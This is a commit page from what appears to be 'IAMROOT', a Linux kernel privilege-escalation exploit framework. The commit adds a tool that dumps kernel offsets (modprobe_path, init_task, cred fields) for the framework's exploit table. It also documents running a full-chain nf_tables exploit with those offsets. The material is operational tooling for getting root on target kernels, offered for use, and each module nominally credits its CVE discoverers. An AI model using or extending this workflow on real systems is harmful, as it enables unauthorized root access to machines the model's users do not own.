v0.3.1: --dump-offsets tool + NOTICE.md per module
The README has been claiming "each module credits the original CVE
reporter and PoC author in its NOTICE.md" since v0.1.0, but only
copy_fail_family actually shipped one. Fixed.
modules/<name>/NOTICE.md (×19 new + 1 existing): per-module
research credit covering CVE ID, discoverer, original advisory
URL where public, upstream fix commit, IAMROOT's role.
iamroot.c: new --dump-offsets subcommand. Resolves kernel offsets
via the existing core/offsets.c four-source chain (env →
/proc/kallsyms → /boot/System.map → embedded table), then emits
a ready-to-paste C struct entry for kernel_table[]. Run once
as root on a target kernel build; upstream via PR. Eliminates
fabricating offsets — every shipped entry traces back to a
`iamroot --dump-offsets` invocation on a real kernel.
docs/OFFSETS.md: documents the --dump-offsets workflow.
CVES.md: notes the NOTICE.md convention + offset dump tool.
iamroot.c: bump IAMROOT_VERSION 0.3.0 → 0.3.1.
This commit is contained in:
@@ -64,6 +64,33 @@ IAMROOT_MODPROBE_PATH=0xffffffff8228e7e0 \
|
||||
iamroot --exploit nf_tables --i-know --full-chain
|
||||
```
|
||||
|
||||
### Automated dump (preferred for upstreaming)
|
||||
|
||||
`iamroot --dump-offsets` walks the four-source chain itself and emits
|
||||
a ready-to-paste C struct entry on stdout:
|
||||
|
||||
```bash
|
||||
sudo iamroot --dump-offsets
|
||||
# /* Generated 2026-05-16 by `iamroot --dump-offsets`.
|
||||
# * Host kernel: 5.15.0-56-generic distro=ubuntu
|
||||
# * Resolved fields: modprobe_path=kallsyms init_task=kallsyms cred=table
|
||||
# * Paste this entry into kernel_table[] in core/offsets.c.
|
||||
# */
|
||||
# { .release_glob = "5.15.0-56-generic",
|
||||
# .distro_match = "ubuntu",
|
||||
# .rel_modprobe_path = 0x148e480,
|
||||
# .rel_poweroff_cmd = 0x148e3a0,
|
||||
# .rel_init_task = 0x1c11dc0,
|
||||
# .rel_init_cred = 0x1e0c460,
|
||||
# .cred_offset_real = 0x738,
|
||||
# .cred_offset_eff = 0x740,
|
||||
# },
|
||||
```
|
||||
|
||||
Paste the block into `kernel_table[]` in `core/offsets.c`, rebuild,
|
||||
and the new entry covers every IAMROOT user on that kernel. Open a
|
||||
PR to upstream it.
|
||||
|
||||
### Per-host (write System.map readable)
|
||||
|
||||
```bash
|
||||
|
||||
Reference in New Issue
Block a user